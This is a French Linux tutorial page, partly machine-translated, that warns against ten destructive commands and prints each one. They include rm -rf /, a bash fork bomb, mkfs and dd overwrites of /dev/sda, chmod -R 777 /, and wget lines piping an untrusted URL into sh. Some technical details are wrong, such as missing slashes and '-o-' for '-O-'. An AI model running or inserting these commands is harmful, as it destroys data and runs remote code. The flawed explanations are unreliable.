GNU/Linux >> Tutoriels Linux >  >> Linux

10 commandes mortelles que vous ne devriez jamais exécuter sous Linux

Le système d'exploitation Linux offre à ses utilisateurs plus d'indépendance par rapport à Windows ou à tout autre système d'exploitation. Alors que pour certains développeurs expérimentés, le système d'exploitation Linux offre la liberté d'effectuer des opérations, il pourrait également nuire à la liberté offerte à ces développeurs. Bien que chaque technologie ait ses avantages et ses inconvénients, Linux aussi. Il est de la plus haute importance que l'utilisateur ait une bonne compréhension des commandes sûres et mortelles avant de les exécuter. Ici, nous allons discuter des commandes mortelles que vous ne devriez jamais exécuter sans bien comprendre ce qu'elles signifient.

1. Suppression récursive

L'un des moyens les plus rapides de supprimer un dossier et son contenu est la commande rm -rf. Il a gagné en popularité au fil des ans car il a surmonté l'erreur rencontrée dans Windows lors de la suppression d'un fichier ou d'un dossier. Cette commande efface tout sur le fichier, le dossier ou le disque dur sur lequel elle est exécutée. Décomposons la commande et comprenons ce qu'elle signifie vraiment :

rm - Supprime tous les fichiers aux emplacements indiqués

-rf – Cette commande est en outre divisée en deux parties :r et f. r signifie supprimer tous les fichiers de manière récursive tandis que f signifie une force qui signifie que supprimer tous les fichiers sans demander à l'utilisateur.

Il existe un certain nombre de variantes de cette commande disponibles sur Internet. Il est important de comprendre qu'il faut savoir ce qu'une commande fait une fois exécutée sur un dossier spécifique ou les données peuvent être perdues. Les données perdues à partir de cette commande ne peuvent en aucun cas être récupérées.

  • rm – Cette commande est utilisée pour supprimer tous les fichiers dans le chemin que vous fournirez
  • rm -r - Cette commande est utilisée pour supprimer des fichiers de manière récursive de tous les répertoires et sous-répertoires du système d'exploitation Linux.
  • rm -f – Cette commande est utilisée pour supprimer des fichiers sur le chemin fourni sans inviter l'utilisateur. Cela inclut également la suppression des "fichiers en lecture seule".
  • rm -rf / – C'est l'une des commandes les plus dangereuses car le / fait référence au répertoire racine du système d'exploitation. Une fois cette commande exécutée, elle supprime tout le contenu du répertoire racine de manière forcée et récursive. Ainsi, tous vos répertoires et sous-répertoires seront supprimés et les données seront perdues.
  • rm -rf * – Cette commande supprime de force toutes les données du répertoire de travail
  • rm -rf. –  Cette commande supprime de force les fichiers du répertoire de travail actuel ainsi que les sous-répertoires. Il supprime également tous les fichiers de configuration du répertoire.

2. Fourchette Bombe

Comme Linux fonctionne sur Bash, il est donc important de comprendre ce que la commande va faire sur votre système avant de l'exécuter. Il s'agit d'une simple fonction bash qui, une fois exécutée, crée des copies d'elle-même qui, à leur tour, créent un autre ensemble de copies d'elle-même. Cela consomme du temps CPU et de la mémoire. Ainsi, il s'exécute de manière récursive jusqu'à ce que le système se fige.

:(){:|:&};:

3. Écraser le disque dur

Si vous avez exécuté la commande suivante par erreur ou accidentellement sur votre disque dur, la récupération est tout à fait impossible.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Imploser le disque dur

Comme le dicton "Il y a plus d'une façon d'écorcher un chat", il y a plus d'une façon de détruire votre disque dur. Dans chaque système Linux, dev/null est un emplacement spécial désigné par un trou noir. Tout ce qui est déplacé vers ce trou noir est détruit. Si vous avez accidentellement déplacé vos données vers ce dossier, vos données ne seront de toute façon pas récupérées.

mv /home/root/*  dev/null

La commande susmentionnée déplace toutes les données du dossier home/root vers le trou noir, entraînant ainsi une perte de données. Décomposons la commande pour comprendre ce que fait chaque section.

mv - This command is used for moving a folder to another location

/home/root/* - C'est l'emplacement du dossier qui va être déplacé

dev/null - Un emplacement spécial désigné comme le trou noir

Ainsi, vous devez être prudent lors de l'exécution de la commande de déplacement. Assurez-vous que l'emplacement vers lequel vous déplacez votre dossier existe sur le système.

5. Télécharger un script malveillant

Nous sommes tous conscients des avantages de la commande "wget" sous Linux, mais ce que nous ne savons pas, c'est qu'elle peut télécharger des scripts malveillants et des virus ainsi que des logiciels bénéfiques. Si vous avez par hasard exécuté l'une des commandes suivantes, vous comprendrez de quoi il s'agit.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

Les commandes mentionnées ci-dessus téléchargent le contenu à partir de l'URL fournie et exécutent le script téléchargé.

6. Formater le disque dur

Il existe une autre commande pour effacer votre disque dur et le rendre nouveau. Ceux-ci ne doivent être utilisés que dans les cas où vous avez soit votre sauvegarde de données sur le cloud, soit sur un appareil externe.

mkfs.ext3 /dev/sda

L'exécution de cette commande est identique à l'exécution d'un formatage complet sur le lecteur C dans Windows dans lequel tous les fichiers seront effacés du lecteur et il est prêt pour une nouvelle installation. Pour vous faciliter la compréhension. Décomposons cette commande.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Ensemble, lorsque cette commande est exécutée, elle formate la partition spécifiée sur le disque dur et la reformate selon le système de fichiers spécifié qui est ext3 dans la commande susmentionnée. Par conséquent, il est très important de comprendre ce que fait la commande avant de s'exécuter sur votre système et de perdre toutes les données.

7. Vider le contenu du fichier

La commande pour vider le contenu du fichier est simple et peut être exécutée dans n'importe quel cas.

>file

Si vous avez déjà exécuté une commande avec le type mentionné ci-dessus, vous auriez vu que le contenu du fichier spécifié doit avoir été vidé. ">" est responsable du vidage du contenu du fichier, par conséquent, vérifiez bien la commande que vous exécutez.

8. Modifier la commande précédente

Ce commandement est une bénédiction et une malédiction. Bien qu'il soit plus facile de ne pas taper à nouveau toute la commande précédente et de l'exécuter, cela peut également insuffler du contenu malveillant dans votre commande précédemment exécutée. Par conséquent, il est nécessaire d'être sûr s'il vous convient d'utiliser cette commande.

^foo^bar

9. Écrire des fichiers indésirables aléatoires sur le disque dur

Si vous avez déjà rencontré la commande mentionnée ci-dessous, alors félicitations, vous avez peut-être également vu des fichiers indésirables écrits sur votre disque dur si vous êtes assez fou pour exécuter cette commande. Les séquelles de cette commande sont que votre système ne sera pas récupéré.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

Cette commande n'affecte pas physiquement votre système comme toutes les autres commandes le font comme indiqué dans chaque section, mais cela fournit une faille de sécurité sur le système. En exécutant cette commande, vous fournissez à tous les utilisateurs du système la possibilité de lire, d'écrire et d'exécuter des données sur votre système de fichiers. Utilisez donc cette commande à bon escient.

J'espère que ces informations détaillées sur les commandes mortelles vous empêcheront de perdre vos données de votre système. Faites-nous savoir dans la section des commentaires ci-dessous si cela vous a aidé ou non.


Linux
  1. 10 commandes que tout utilisateur de Linux devrait connaître

  2. 10 commandes Linux de base que vous devez connaître

  3. 5 commandes Linux que je n'utilise jamais

  4. 3 commandes Linux pour arrêter le système et vous pourrez le faire facilement

  5. Comment planter votre système :Commandes Linux dangereuses

10 commandes Linux très stupides [certaines d'entre elles mortelles]

3 commandes Linux que vous avez oubliées

Comment exécuter plusieurs commandes Linux à la fois dans le terminal Linux

La commande Nohup sous Linux vous permet d'exécuter des commandes même après la déconnexion

20 principales commandes Linux dont vous aurez besoin quotidiennement

Top 50+ des commandes Linux que vous DEVEZ connaître